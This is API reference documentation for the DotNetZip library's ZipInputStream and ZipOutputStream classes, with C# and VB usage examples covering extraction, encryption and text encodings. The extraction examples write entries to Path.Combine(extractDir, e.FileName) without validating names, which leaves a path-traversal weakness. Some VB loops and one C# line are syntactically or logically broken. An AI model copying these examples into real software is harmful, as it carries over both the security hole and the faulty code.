FileStream = File.Open(inputFileName, FileMode.Open, FileAccess.Read) + Using input As ZipInputStream = New ZipInputStream(raw) + Dim e As ZipEntry + Do While (Not e = input.GetNextEntry Is Nothing) + If Not e.IsDirectory Then + Using output As FileStream = File.Open(Path.Combine(extractDir, e.FileName), _ + FileMode.Create, FileAccess.ReadWrite) + Dim n As Integer + Do While (n = input.Read(buffer, 0, buffer.Length) > 0) + output.Write(buffer, 0, n) + Loop + End Using + End If + Loop + End Using + End Using + End Sub + + + + + + Create a ZipInputStream, given the name of an existing zip file. + + + + + + This constructor opens a FileStream for the given zipfile, and + wraps a ZipInputStream around that. See the documentation for the + constructor for full details. + + + + While the class is generally easier + to use, this class provides an alternative to those + applications that want to read from a zipfile directly, + using a . + + + + + + The name of the filesystem file to read. + + + + + This example shows how to read a zip file, and extract entries, using the + ZipInputStream class. + + + private void Unzip() + { + byte[] buffer= new byte[2048]; + int n; + using (var input= new ZipInputStream(inputFileName)) + { + ZipEntry e; + while (( e = input.GetNextEntry()) != null) + { + if (e.IsDirectory) continue; + string outputPath = Path.Combine(extractDir, e.FileName); + using (var output = File.Open(outputPath, FileMode.Create, FileAccess.ReadWrite)) + { + while ((n= input.Read(buffer, 0, buffer.Length)) > 0) + { + output.Write(buffer,0,n); + } + } + } + } + } + + + + Private Sub UnZip() + Dim inputFileName As String = "MyArchive.zip" + Dim extractDir As String = "extract" + Dim buffer As Byte() = New Byte(2048) {} + Using input As ZipInputStream = New ZipInputStream(inputFileName) + Dim e As ZipEntry + Do While (Not e = input.GetNextEntry Is Nothing) + If Not e.IsDirectory Then + Using output As FileStream = File.Open(Path.Combine(extractDir, e.FileName), _ + FileMode.Create, FileAccess.ReadWrite) + Dim n As Integer + Do While (n = input.Read(buffer, 0, buffer.Length) > 0) + output.Write(buffer, 0, n) + Loop + End Using + End If + Loop + End Using + End Sub + + + + + + Create a ZipInputStream, explicitly specifying whether to + keep the underlying stream open. + + + + See the documentation for the ZipInputStream(Stream) + constructor for a discussion of the class, and an example of how to use the class. + + + + The stream to read from. It must be readable. + + + + true if the application would like the stream + to remain open after the ZipInputStream has been closed. + + + + Provides a string representation of the instance. + + + This can be useful for debugging purposes. + + + a string representation of the instance. + + + + The text encoding to use when reading entries into the zip archive, for + those entries whose filenames or comments cannot be encoded with the + default (IBM437) encoding. + + + + + In its + zip specification, PKWare describes two options for encoding + filenames and comments: using IBM437 or UTF-8. But, some archiving tools + or libraries do not follow the specification, and instead encode + characters using the system default code page. For example, WinRAR when + run on a machine in Shanghai may encode filenames with the Big-5 Chinese + (950) code page. This behavior is contrary to the Zip specification, but + it occurs anyway. + + + + When using DotNetZip to read zip archives that use something other than + UTF-8 or IBM437, set this property to specify the code page to use when + reading encoded filenames and comments for each ZipEntry in the zip + file. + + + + This property is "provisional". When the entry in the zip archive is not + explicitly marked as using UTF-8, then IBM437 is used to decode filenames + and comments. If a loss of data would result from using IBM436 - + specifically when encoding and decoding is not reflexive - the codepage + specified here is used. It is possible, therefore, to have a given entry + with a Comment encoded in IBM437 and a FileName encoded with + the specified "provisional" codepage. + + + + When a zip file uses an arbitrary, non-UTF8 code page for encoding, there + is no standard way for the reader application - whether DotNetZip, WinZip, + WinRar, or something else - to know which codepage has been used for the + entries. Readers of zip files are not able to inspect the zip file and + determine the codepage that was used for the entries contained within it. + It is left to the application or user to determine the necessary codepage + when reading zip files encoded this way. If you use an incorrect codepage + when reading a zipfile, you will get entries with filenames that are + incorrect, and the incorrect filenames may even contain characters that + are not legal for use within filenames in Windows. Extracting entries with + illegal characters in the filenames will lead to exceptions. It's too bad, + but this is just the way things are with code pages in zip files. Caveat + Emptor. + + + + + + + Size of the work buffer to use for the ZLIB codec during decompression. + + + + Setting this affects the performance and memory efficiency of compression + and decompression. For larger files, setting this to a larger size may + improve performance, but the exact numbers vary depending on available + memory, and a bunch of other variables. I don't have good firm + recommendations on how to set it. You'll have to test it yourself. Or + just leave it alone and accept the default. + + + + + Sets the password to be used on the ZipInputStream instance. + + + + + + When reading a zip archive, this password is used to read and decrypt the + entries that are encrypted within the zip file. When entries within a zip + file use different passwords, set the appropriate password for the entry + before the first call to Read() for each entry. + + + + When reading an entry that is not encrypted, the value of this property is + ignored. + + + + + + + This example uses the ZipInputStream to read and extract entries from a + zip file, using a potentially different password for each entry. + + + byte[] buffer= new byte[2048]; + int n; + using (var raw = File.Open(_inputFileName, FileMode.Open, FileAccess.Read )) + { + using (var input= new ZipInputStream(raw)) + { + ZipEntry e; + while (( e = input.GetNextEntry()) != null) + { + input.Password = PasswordForEntry(e.FileName); + if (e.IsDirectory) continue; + string outputPath = Path.Combine(_extractDir, e.FileName); + using (var output = File.Open(outputPath, FileMode.Create, FileAccess.ReadWrite)) + { + while ((n= input.Read(buffer,0,buffer.Length)) > 0) + { + output.Write(buffer,0,n); + } + } + } + } + } + + + + + + + Read the data from the stream into the buffer. + + + + + The data for the zipentry will be decrypted and uncompressed, as + necessary, before being copied into the buffer. + + + + You must set the property before calling + Read() the first time for an encrypted entry. To determine if an + entry is encrypted and requires a password, check the ZipEntry.Encryption property. + + + + The buffer to hold the data read from the stream. + the offset within the buffer to copy the first byte read. + the number of bytes to read. + the number of bytes read, after decryption and decompression. + + + + Read the next entry from the zip file. + + + + + Call this method just before calling , + to position the pointer in the zip file to the next entry that can be + read. Subsequent calls to Read(), will decrypt and decompress the + data in the zip file, until Read() returns 0. + + + + Each time you call GetNextEntry(), the pointer in the wrapped + stream is moved to the next entry in the zip file. If you call , and thus re-position the pointer within + the file, you will need to call GetNextEntry() again, to insure + that the file pointer is positioned at the beginning of a zip entry. + + + + This method returns the ZipEntry. Using a stream approach, you will + read the raw bytes for an entry in a zip file via calls to Read(). + Alternatively, you can extract an entry into a file, or a stream, by + calling , or one of its siblings. + + + + + + The ZipEntry read. Returns null (or Nothing in VB) if there are no more + entries in the zip file. + + + + + + Dispose the stream. + + + + + This method disposes the ZipInputStream. It may also close the + underlying stream, depending on which constructor was used. + + + + Typically the application will call Dispose() implicitly, via + a using statement in C#, or a Using statement in VB. + + + + Application code won't call this code directly. This method may + be invoked in two distinct scenarios. If disposing == true, the + method has been called directly or indirectly by a user's code, + for example via the public Dispose() method. In this case, both + managed and unmanaged resources can be referenced and disposed. + If disposing == false, the method has been called by the runtime + from inside the object finalizer and this method should not + reference other objects; in that case only unmanaged resources + must be referenced or disposed. + + + + + true if the Dispose method was invoked by user code. + + + + + Always returns true. + + + + + Returns the value of CanSeek for the underlying (wrapped) stream. + + + + + Always returns false. + + + + + Returns the length of the underlying stream. + + + + + Gets or sets the position of the underlying stream. + + + Setting the position is equivalent to calling Seek(value, SeekOrigin.Begin). + + + + + This is a no-op. + + + + + This method always throws a NotSupportedException. + + ignored + ignored + ignored + + + + This method seeks in the underlying stream. + + + + + Call this method if you want to seek around within the zip file for random access. + + + + Applications can intermix calls to Seek() with calls to . After a call to Seek(), + GetNextEntry() will get the next ZipEntry that falls after + the current position in the input stream. You're on your own for finding + out just where to seek in the stream, to get to the various entries. + + + + + the offset point to seek to + the reference point from which to seek + The new position + + + + This method always throws a NotSupportedException. + + ignored + + + + Provides a stream metaphor for generating zip files. + + + + + This class writes zip files, as defined in the specification + for zip files described by PKWare. The compression for this + implementation is provided by a managed-code version of Zlib, included with + DotNetZip in the classes in the Ionic.Zlib namespace. + + + + This class provides an alternative programming model to the one enabled by the + class. Use this when creating zip files, as an + alternative to the class, when you would like to use a + Stream type to write the zip file. + + + + Both the ZipOutputStream class and the ZipFile class can be used + to create zip files. Both of them support many of the common zip features, + including Unicode, different compression levels, and ZIP64. They provide + very similar performance when creating zip files. + + + + The ZipFile class is generally easier to use than + ZipOutputStream and should be considered a higher-level interface. For + example, when creating a zip file via calls to the PutNextEntry() and + Write() methods on the ZipOutputStream class, the caller is + responsible for opening the file, reading the bytes from the file, writing + those bytes into the ZipOutputStream, setting the attributes on the + ZipEntry, and setting the created, last modified, and last accessed + timestamps on the zip entry. All of these things are done automatically by a + call to ZipFile.AddFile(). + For this reason, the ZipOutputStream is generally recommended for use + only when your application emits arbitrary data, not necessarily data from a + filesystem file, directly into a zip file, and does so using a Stream + metaphor. + + + + Aside from the differences in programming model, there are other + differences in capability between the two classes. + + + + + ZipFile can be used to read and extract zip files, in addition to + creating zip files. ZipOutputStream cannot read zip files. If you want + to use a stream to read zip files, check out the class. + + + + ZipOutputStream does not support the creation of segmented or spanned + zip files. + + + + ZipOutputStream cannot produce a self-extracting archive. + + + + + Be aware that the ZipOutputStream class implements the interface. In order for + ZipOutputStream to produce a valid zip file, you use use it within + a using clause (Using in VB), or call the Dispose() method + explicitly. See the examples for how to employ a using clause. + + + + Also, a note regarding compression performance: On the desktop .NET + Framework, DotNetZip can use a multi-threaded compression implementation + that provides significant speed increases on large files, over 300k or so, + at the cost of increased memory use at runtime. (The output of the + compression is almost exactly the same size). But, the multi-threaded + approach incurs a performance hit on smaller files. There's no way for the + ZipOutputStream to know whether parallel compression will be beneficial, + because the ZipOutputStream does not know how much data you will write + through the stream. You may wish to set the property to zero, if you are compressing + large files through ZipOutputStream. This will cause parallel + compression to be used, always. + + + + + + Create a ZipOutputStream, wrapping an existing stream. + + + + + The class is generally easier to use when creating + zip files. The ZipOutputStream offers a different metaphor for creating a + zip file, based on the class. + + + + + + The stream to wrap. It must be writable. This stream will be closed at + the time the ZipOutputStream is closed. + + + + + This example shows how to create a zip file, using the + ZipOutputStream class. + + + private void Zipup() + { + if (filesToZip.Count == 0) + { + System.Console.WriteLine("Nothing to do."); + return; + } + + using (var raw = File.Open(_outputFileName, FileMode.Create, FileAccess.ReadWrite )) + { + using (var output= new ZipOutputStream(raw)) + { + output.Password = "VerySecret!"; + output.Encryption = EncryptionAlgorithm.WinZipAes256; + + foreach (string inputFileName in filesToZip) + { + System.Console.WriteLine("file: {0}", inputFileName); + + output.PutNextEntry(inputFileName); + using (var input = File.Open(inputFileName, FileMode.Open, FileAccess.Read, FileShare.Read | FileShare.Write )) + { + byte[] buffer= new byte[2048]; + int n; + while ((n= input.Read(buffer,0,buffer.Length)) > 0) + { + output.Write(buffer,0,n); + } + } + } + } + } + } + + + + Private Sub Zipup() + Dim outputFileName As String = "XmlData.zip" + Dim filesToZip As String() = Directory.GetFiles(".", "*.xml") + If (filesToZip.Length = 0) Then + Console.WriteLine("Nothing to do.") + Else + Using raw As FileStream = File.Open(outputFileName, FileMode.Create, FileAccess.ReadWrite) + Using output As ZipOutputStream = New ZipOutputStream(raw) + output.Password = "VerySecret!" + output.Encryption = EncryptionAlgorithm.WinZipAes256 + Dim inputFileName As String + For Each inputFileName In filesToZip + Console.WriteLine("file: {0}", inputFileName) + output.PutNextEntry(inputFileName) + Using input As FileStream = File.Open(inputFileName, FileMode.Open, FileAccess.Read, FileShare.ReadWrite) + Dim n As Integer + Dim buffer As Byte() = New Byte(2048) {} + Do While (n = input.Read(buffer, 0, buffer.Length) > 0) + output.Write(buffer, 0, n) + Loop + End Using + Next + End Using + End Using + End If + End Sub + + + + + + Create a ZipOutputStream that writes to a filesystem file. + + + + The class is generally easier to use when creating + zip files. The ZipOutputStream offers a different metaphor for creating a + zip file, based on the class. + + + + The name of the zip file to create. + + + + + This example shows how to create a zip file, using the + ZipOutputStream class. + + + private void Zipup() + { + if (filesToZip.Count == 0) + { + System.Console.WriteLine("Nothing to do."); + return; + } + + using (var output= new ZipOutputStream(outputFileName)) + { + output.Password = "VerySecret!"; + output.Encryption = EncryptionAlgorithm.WinZipAes256; + + foreach (string inputFileName in filesToZip) + { + System.Console.WriteLine("file: {0}", inputFileName); + + output.PutNextEntry(inputFileName); + using (var input = File.Open(inputFileName, FileMode.Open, FileAccess.Read, + FileShare.Read | FileShare.Write )) + { + byte[] buffer= new byte[2048]; + int n; + while ((n= input.Read(buffer,0,buffer.Length)) > 0) + { + output.Write(buffer,0,n); + } + } + } + } + } + + + + Private Sub Zipup() + Dim outputFileName As String = "XmlData.zip" + Dim filesToZip As String() = Directory.GetFiles(".", "*.xml") + If (filesToZip.Length = 0) Then + Console.WriteLine("Nothing to do.") + Else + Using output As ZipOutputStream = New ZipOutputStream(outputFileName) + output.Password = "VerySecret!" + output.Encryption = EncryptionAlgorithm.WinZipAes256 + Dim inputFileName As String + For Each inputFileName In filesToZip + Console.WriteLine("file: {0}", inputFileName) + output.PutNextEntry(inputFileName) + Using input As FileStream = File.Open(inputFileName, FileMode.Open, FileAccess.Read, FileShare.ReadWrite) + Dim n As Integer + Dim buffer As Byte() = New Byte(2048) {} + Do While (n = input.Read(buffer, 0, buffer.Length) > 0) + output.Write(buffer, 0, n) + Loop + End Using + Next + End Using + End If + End Sub + + + + + + Create a ZipOutputStream. + + + + See the documentation for the ZipOutputStream(Stream) + constructor for an example. + + + + The stream to wrap. It must be writable. + + + + true if the application would like the stream + to remain open after the ZipOutputStream has been closed. + + + + Provides a string representation of the instance. + + + This can be useful for debugging purposes. + + + a string representation of the instance. + + + + Sets the password to be used on the ZipOutputStream instance. + + + + + + When writing a zip archive, this password is applied to the entries, not + to the zip archive itself. It applies to any ZipEntry subsequently + written to the ZipOutputStream. + + + + Using a password does not encrypt or protect the "directory" of the + archive - the list of entries contained in the archive. If you set the + Password property, the password actually applies to individual + entries that are added to the archive, subsequent to the setting of this + property. The list of filenames in the archive that is eventually created + will appear in clear text, but the contents of the individual files are + encrypted. This is how Zip encryption works. + + + + If you set this property, and then add a set of entries to the archive via + calls to PutNextEntry, then each entry is encrypted with that + password. You may also want to change the password between adding + different entries. If you set the password, add an entry, then set the + password to null (Nothing in VB), and add another entry, the + first entry is encrypted and the second is not. + + + + When setting the Password, you may also want to explicitly set the property, to specify how to encrypt the entries added + to the ZipFile. If you set the Password to a non-null value and do not + set , then PKZip 2.0 ("Weak") encryption is used. + This encryption is relatively weak but is very interoperable. If + you set the password to a null value (Nothing in VB), + Encryption is reset to None. + + + + Special case: if you wrap a ZipOutputStream around a non-seekable stream, + and use encryption, and emit an entry of zero bytes, the Close() or + PutNextEntry() following the entry will throw an exception. + + + + + + + The Encryption to use for entries added to the ZipOutputStream. + + + + + The specified Encryption is applied to the entries subsequently + written to the ZipOutputStream instance. + + + + If you set this to something other than + EncryptionAlgorithm.None, you will also need to set the + to a non-null, non-empty value in + order to actually get encryption on the entry. + + + + + ZipOutputStream.Password + ZipEntry.Encryption + + + + Size of the work buffer to use for the ZLIB codec during compression. + + + + Setting this may affect performance. For larger files, setting this to a + larger size may improve performance, but I'm not sure. Sorry, I don't + currently have good recommendations on how to set it. You can test it if + you like. + + + + + The compression strategy to use for all entries. + + + + Set the Strategy used by the ZLIB-compatible compressor, when compressing + data for the entries in the zip archive. Different compression strategies + work better on different sorts of data. The strategy parameter can affect + the compression ratio and the speed of compression but not the correctness + of the compresssion. For more information see . + + + + + The type of timestamp attached to the ZipEntry. + + + + Set this in order to specify the kind of timestamp that should be emitted + into the zip file for each entry. + + + + + Sets the compression level to be used for entries subsequently added to + the zip archive. + + + + + Varying the compression level used on entries can affect the + size-vs-speed tradeoff when compression and decompressing data streams + or files. + + + + As with some other properties on the ZipOutputStream class, like , and , + setting this property on a ZipOutputStream + instance will cause the specified CompressionLevel to be used on all + items that are subsequently added to the + ZipOutputStream instance. + + + + If you do not set this property, the default compression level is used, + which normally gives a good balance of compression efficiency and + compression speed. In some tests, using BestCompression can + double the time it takes to compress, while delivering just a small + increase in compression efficiency. This behavior will vary with the + type of data you compress. If you are in doubt, just leave this setting + alone, and accept the default. + + + + + + The compression method used on each entry added to the ZipOutputStream. + + + + + A comment attached to the zip archive. + + + + + + The application sets this property to specify a comment to be embedded + into the generated zip archive. + + + + According to PKWARE's + zip specification, the comment is not encrypted, even if there is a + password set on the zip file. + + + + The specification does not describe how to indicate the encoding used + on a comment string. Many "compliant" zip tools and libraries use + IBM437 as the code page for comments; DotNetZip, too, follows that + practice. On the other hand, there are situations where you want a + Comment to be encoded with something else, for example using code page + 950 "Big-5 Chinese". To fill that need, DotNetZip will encode the + comment following the same procedure it follows for encoding + filenames: (a) if is + Never, it uses the default encoding (IBM437). (b) if is Always, it always uses the + alternate encoding (). (c) if is AsNecessary, it uses the + alternate encoding only if the default encoding is not sufficient for + encoding the comment - in other words if decoding the result does not + produce the original string. This decision is taken at the time of + the call to ZipFile.Save(). + + + + + + + Specify whether to use ZIP64 extensions when saving a zip archive. + + + + + The default value for the property is . is + safest, in the sense that you will not get an Exception if a + pre-ZIP64 limit is exceeded. + + + + You must set this property before calling Write(). + + + + + + + Indicates whether ZIP64 extensions were used when saving the zip archive. + + + + The value is defined only after the ZipOutputStream has been closed. + + + + + Whether the ZipOutputStream should use case-insensitive comparisons when + checking for uniqueness of zip entries. + + + + + Though the zip specification doesn't prohibit zipfiles with duplicate + entries, Sane zip files have no duplicates, and the DotNetZip library + cannot create zip files with duplicate entries. If an application attempts + to call with a name that duplicates one + already used within the archive, the library will throw an Exception. + + + This property allows the application to specify whether the + ZipOutputStream instance considers ordinal case when checking for + uniqueness of zip entries. + + + + + + Indicates whether to encode entry filenames and entry comments using + Unicode (UTF-8). + + + + + The + PKWare zip specification provides for encoding file names and file + comments in either the IBM437 code page, or in UTF-8. This flag selects + the encoding according to that specification. By default, this flag is + false, and filenames and comments are encoded into the zip file in the + IBM437 codepage. Setting this flag to true will specify that filenames + and comments that cannot be encoded with IBM437 will be encoded with + UTF-8. + + + + Zip files created with strict adherence to the PKWare specification with + respect to UTF-8 encoding can contain entries with filenames containing + any combination of Unicode characters, including the full range of + characters from Chinese, Latin, Hebrew, Greek, Cyrillic, and many other + alphabets. However, because at this time, the UTF-8 portion of the PKWare + specification is not broadly supported by other zip libraries and + utilities, such zip files may not be readable by your favorite zip tool or + archiver. In other words, interoperability will decrease if you set this + flag to true. + + + + In particular, Zip files created with strict adherence to the PKWare + specification with respect to UTF-8 encoding will not work well with + Explorer in Windows XP or Windows Vista, because Windows compressed + folders, as far as I know, do not support UTF-8 in zip files. Vista can + read the zip files, but shows the filenames incorrectly. Unpacking from + Windows Vista Explorer will result in filenames that have rubbish + characters in place of the high-order UTF-8 bytes. + + + + Also, zip files that use UTF-8 encoding will not work well with Java + applications that use the java.util.zip classes, as of v5.0 of the Java + runtime. The Java runtime does not correctly implement the PKWare + specification in this regard. + + + + As a result, we have the unfortunate situation that "correct" behavior by + the DotNetZip library with regard to Unicode encoding of filenames during + zip creation will result in zip files that are readable by strictly + compliant and current tools (for example the most recent release of the + commercial WinZip tool); but these zip files will not be readable by + various other tools or libraries, including Windows Explorer. + + + + The DotNetZip library can read and write zip files with UTF8-encoded + entries, according to the PKware spec. If you use DotNetZip for both + creating and reading the zip file, and you use UTF-8, there will be no + loss of information in the filenames. For example, using a self-extractor + created by this library will allow you to unpack files correctly with no + loss of information in the filenames. + + + + If you do not set this flag, it will remain false. If this flag is false, + the ZipOutputStream will encode all filenames and comments using + the IBM437 codepage. This can cause "loss of information" on some + filenames, but the resulting zipfile will be more interoperable with other + utilities. As an example of the loss of information, diacritics can be + lost. The o-tilde character will be down-coded to plain o. The c with a + cedilla (Unicode 0xE7) used in Portugese will be downcoded to a c. + Likewise, the O-stroke character (Unicode 248), used in Danish and + Norwegian, will be down-coded to plain o. Chinese characters cannot be + represented in codepage IBM437; when using the default encoding, Chinese + characters in filenames will be represented as ?. These are all examples + of "information loss". + + + + The loss of information associated to the use of the IBM437 encoding is + inconvenient, and can also lead to runtime errors. For example, using + IBM437, any sequence of 4 Chinese characters will be encoded as ????. If + your application creates a ZipOutputStream, does not set the + encoding, then adds two files, each with names of four Chinese characters + each, this will result in a duplicate filename exception. In the case + where you add a single file with a name containing four Chinese + characters, the zipfile will save properly, but extracting that file + later, with any zip tool, will result in an error, because the question + mark is not legal for use within filenames on Windows. These are just a + few examples of the problems associated to loss of information. + + + + This flag is independent of the encoding of the content within the entries + in the zip file. Think of the zip file as a container - it supports an + encoding. Within the container are other "containers" - the file entries + themselves. The encoding within those entries is independent of the + encoding of the zip archive container for those entries. + + + + Rather than specify the encoding in a binary fashion using this flag, an + application can specify an arbitrary encoding via the property. Setting the encoding + explicitly when creating zip archives will result in non-compliant zip + files that, curiously, are fairly interoperable. The challenge is, the + PKWare specification does not provide for a way to specify that an entry + in a zip archive uses a code page that is neither IBM437 nor UTF-8. + Therefore if you set the encoding explicitly when creating a zip archive, + you must take care upon reading the zip archive to use the same code page. + If you get it wrong, the behavior is undefined and may result in incorrect + filenames, exceptions, stomach upset, hair loss, and acne. + + + + + + + The text encoding to use when emitting entries into the zip archive, for + those entries whose filenames or comments cannot be encoded with the + default (IBM437) encoding. + + + + + In its + zip specification, PKWare describes two options for encoding + filenames and comments: using IBM437 or UTF-8. But, some archiving tools + or libraries do not follow the specification, and instead encode + characters using the system default code page. For example, WinRAR when + run on a machine in Shanghai may encode filenames with the Big-5 Chinese + (950) code page. This behavior is contrary to the Zip specification, but + it occurs anyway. + + + + When using DotNetZip to write zip archives that will be read by one of + these other archivers, set this property to specify the code page to use + when encoding the and for each ZipEntry in the zip file, for + values that cannot be encoded with the default codepage for zip files, + IBM437. This is why this property is "provisional". In all cases, IBM437 + is used where possible, in other words, where no loss of data would + result. It is possible, therefore, to have a given entry with a + Comment encoded in IBM437 and a FileName encoded with the + specified "provisional" codepage. + + + + Be aware that a zip file created after you've explicitly set the + ProvisionalAlternateEncoding property to a value other than + IBM437 may not be compliant to the PKWare specification, and may not be + readable by compliant archivers. On the other hand, many (most?) + archivers are non-compliant and can read zip files created in arbitrary + code pages. The trick is to use or specify the proper codepage when + reading the zip. + + + + When creating a zip archive using this library, it is possible to change + the value of ProvisionalAlternateEncoding between each entry you + add, and between adding entries and the call to Close(). Don't do + this. It will likely result in a zipfile that is not readable. For best + interoperability, either leave ProvisionalAlternateEncoding + alone, or specify it only once, before adding any entries to the + ZipOutputStream instance. There is one exception to this + recommendation, described later. + + + + When using an arbitrary, non-UTF8 code page for encoding, there is no + standard way for the creator application - whether DotNetZip, WinZip, + WinRar, or something else - to formally specify in the zip file which + codepage has been used for the entries. As a result, readers of zip files + are not able to inspect the zip file and determine the codepage that was + used for the entries contained within it. It is left to the application + or user to determine the necessary codepage when reading zip files encoded + this way. If you use an incorrect codepage when reading a zipfile, you + will get entries with filenames that are incorrect, and the incorrect + filenames may even contain characters that are not legal for use within + filenames in Windows. Extracting entries with illegal characters in the + filenames will lead to exceptions. It's too bad, but this is just the way + things are with code pages in zip files. Caveat Emptor. + + + + One possible approach for specifying the code page for a given zip file is + to describe the code page in a human-readable form in the Zip comment. For + example, the comment may read "Entries in this archive are encoded in the + Big5 code page". For maximum interoperability, the zip comment in this + case should be encoded in the default, IBM437 code page. In this case, + the zip comment is encoded using a different page than the filenames. To + do this, Specify ProvisionalAlternateEncoding to your desired + region-specific code page, once before adding any entries, and then set + the property and reset + ProvisionalAlternateEncoding to IBM437 before calling Close(). + + + + + + A Text Encoding to use when encoding the filenames and comments for + all the ZipEntry items, during a ZipFile.Save() operation. + + + + Whether the encoding specified here is used during the save depends + on . + + + + + + A flag that tells if and when this instance should apply + AlternateEncoding to encode the filenames and comments associated to + of ZipEntry objects contained within this instance. + + + + + The default text encoding used in zip archives. It is numeric 437, also + known as IBM437. + + + + + + The size threshold for an entry, above which a parallel deflate is used. + + + + + + DotNetZip will use multiple threads to compress any ZipEntry, when + the CompressionMethod is Deflate, and if the entry is + larger than the given size. Zero means "always use parallel + deflate", while -1 means "never use parallel deflate". + + + + If the entry size cannot be known before compression, as with any entry + added via a ZipOutputStream, then Parallel deflate will never be + performed, unless the value of this property is zero. + + + + A parallel deflate operations will speed up the compression of + large files, on computers with multiple CPUs or multiple CPU + cores. For files above 1mb, on a dual core or dual-cpu (2p) + machine, the time required to compress the file can be 70% of the + single-threaded deflate. For very large files on 4p machines the + compression can be done in 30% of the normal time. The downside + is that parallel deflate consumes extra memory during the deflate, + and the deflation is slightly less effective. + + + + Parallel deflate tends to not be as effective as single-threaded deflate + because the original data stream is split into multiple independent + buffers, each of which is compressed in parallel. But because they are + treated independently, there is no opportunity to share compression + dictionaries, and additional framing bytes must be added to the output + stream. For that reason, a deflated stream may be slightly larger when + compressed using parallel deflate, as compared to a traditional + single-threaded deflate. For files of about 512k, the increase over the + normal deflate is as much as 5% of the total compressed size. For larger + files, the difference can be as small as 0.1%. + + + + Multi-threaded compression does not give as much an advantage when using + Encryption. This is primarily because encryption tends to slow down + the entire pipeline. Also, multi-threaded compression gives less of an + advantage when using lower compression levels, for example . You may have to perform + some tests to determine the best approach for your situation. + + + + The default value for this property is -1, which means parallel + compression will not be performed unless you set it to zero. + + + + + + + The maximum number of buffer pairs to use when performing + parallel compression. + + + + + This property sets an upper limit on the number of memory + buffer pairs to create when performing parallel + compression. The implementation of the parallel + compression stream allocates multiple buffers to + facilitate parallel compression. As each buffer fills up, + the stream uses + ThreadPool.QueueUserWorkItem() to compress those + buffers in a background threadpool thread. After a buffer + is compressed, it is re-ordered and written to the output + stream. + + + + A higher number of buffer pairs enables a higher degree of + parallelism, which tends to increase the speed of compression on + multi-cpu computers. On the other hand, a higher number of buffer + pairs also implies a larger memory consumption, more active worker + threads, and a higher cpu utilization for any compression. This + property enables the application to limit its memory consumption and + CPU utilization behavior depending on requirements. + + + + For each compression "task" that occurs in parallel, there are 2 + buffers allocated: one for input and one for output. This property + sets a limit for the number of pairs. The total amount of storage + space allocated for buffering will then be (N*S*2), where N is the + number of buffer pairs, S is the size of each buffer (). By default, DotNetZip allocates 4 buffer + pairs per CPU core, so if your machine has 4 cores, and you retain + the default buffer size of 128k, then the + ParallelDeflateOutputStream will use 4 * 4 * 2 * 128kb of buffer + memory in total, or 4mb, in blocks of 128kb. If you then set this + property to 8, then the number will be 8 * 2 * 128kb of buffer + memory, or 2mb. + + + + CPU utilization will also go up with additional buffers, because a + larger number of buffer pairs allows a larger number of background + threads to compress in parallel. If you find that parallel + compression is consuming too much memory or CPU, you can adjust this + value downward. + + + + The default value is 16. Different values may deliver better or + worse results, depending on your priorities and the dynamic + performance characteristics of your storage and compute resources. + + + + This property is not the number of buffer pairs to use; it is an + upper limit. An illustration: Suppose you have an application that + uses the default value of this property (which is 16), and it runs + on a machine with 2 CPU cores. In that case, DotNetZip will allocate + 4 buffer pairs per CPU core, for a total of 8 pairs. The upper + limit specified by this property has no effect. + + + + The application can set this value at any time, but it is + effective only if set before calling + ZipOutputStream.Write() for the first time. + + + + + + + + + Returns true if an entry by the given name has already been written + to the ZipOutputStream. + + + + The name of the entry to scan for. + + + + true if an entry by the given name has already been written. + + + + + Write the data from the buffer to the stream. + + + + As the application writes data into this stream, the data may be + compressed and encrypted before being written out to the underlying + stream, depending on the settings of the + and the properties. + + + The buffer holding data to write to the stream. + the offset within that data array to find the first byte to write. + the number of bytes to write. + + + + Specify the name of the next entry that will be written to the zip file. + + + + + Call this method just before calling , to + specify the name of the entry that the next set of bytes written to + the ZipOutputStream belongs to. All subsequent calls to Write, + until the next call to PutNextEntry, + will be inserted into the named entry in the zip file. + + + + If the used in PutNextEntry() ends in + a slash, then the entry added is marked as a directory. Because directory + entries do not contain data, a call to Write(), before an + intervening additional call to PutNextEntry(), will throw an + exception. + + + + If you don't call Write() between two calls to + PutNextEntry(), the first entry is inserted into the zip file as a + file of zero size. This may be what you want. + + + + Because PutNextEntry() closes out the prior entry, if any, this + method may throw if there is a problem with the prior entry. + + + + This method returns the ZipEntry. You can modify public properties + on the ZipEntry, such as , , and so on, until the first call to + ZipOutputStream.Write(), or until the next call to + PutNextEntry(). If you modify the ZipEntry after + having called Write(), you may get a runtime exception, or you may + silently get an invalid zip archive. + + + + + + + This example shows how to create a zip file, using the + ZipOutputStream class. + + + private void Zipup() + { + using (FileStream fs raw = File.Open(_outputFileName, FileMode.Create, FileAccess.ReadWrite )) + { + using (var output= new ZipOutputStream(fs)) + { + output.Password = "VerySecret!"; + output.Encryption = EncryptionAlgorithm.WinZipAes256; + output.PutNextEntry("entry1.txt"); + byte[] buffer= System.Text.Encoding.ASCII.GetBytes("This is the content for entry #1."); + output.Write(buffer,0,buffer.Length); + output.PutNextEntry("entry2.txt"); // this will be zero length + output.PutNextEntry("entry3.txt"); + buffer= System.Text.Encoding.ASCII.GetBytes("This is the content for entry #3."); + output.Write(buffer,0,buffer.Length); + } + } + } + + + + + The name of the entry to be added, including any path to be used + within the zip file. + + + + The ZipEntry created. + + + + + + Dispose the stream + + + + + This method writes the Zip Central directory, then closes the stream. The + application must call Dispose() (or Close) in order to produce a valid zip file. + + + + Typically the application will call Dispose() implicitly, via a using + statement in C#, or a Using statement in VB. + + + + + set this to true, always. + + + + Always returns false. + + + + + Always returns false. + + + + + Always returns true. + + + + + Always returns a NotSupportedException. + + + + + Setting this property always returns a NotSupportedException. Getting it + returns the value of the Position on the underlying stream. + + + + + This is a no-op. + + + + + This method always throws a NotSupportedException. + + ignored + ignored + ignored + nothing + + + + This method always throws a NotSupportedException. + + ignored + ignored + nothing + + + + This method always throws a NotSupportedException. + + ignored + + + + Sort-of like a factory method, ForUpdate is used only when + the application needs to update the zip entry metadata for + a segmented zip file, when the starting segment is earlier + than the ending segment, for a particular entry. + + + + The update is always contiguous, never rolls over. As a + result, this method doesn't need to return a ZSS; it can + simply return a FileStream. That's why it's "sort of" + like a Factory method. + + + Caller must Close/Dispose the stream object returned by + this method. + + + + + + Name of the filesystem file corresponding to the current segment. + + + + The name is not always the name currently being used in the + filesystem. When rwMode is RwMode.Write, the filesystem file has a + temporary name until the stream is closed or until the next segment is + started. + + + + + + Read from the stream + + the buffer to read + the offset at which to start + the number of bytes to read + the number of bytes actually read + + + + Write to the stream. + + the buffer from which to write + the offset at which to start writing + the number of bytes to write + + + + Enumerates the options for a logical conjunction. This enum is intended for use + internally by the FileSelector class. + 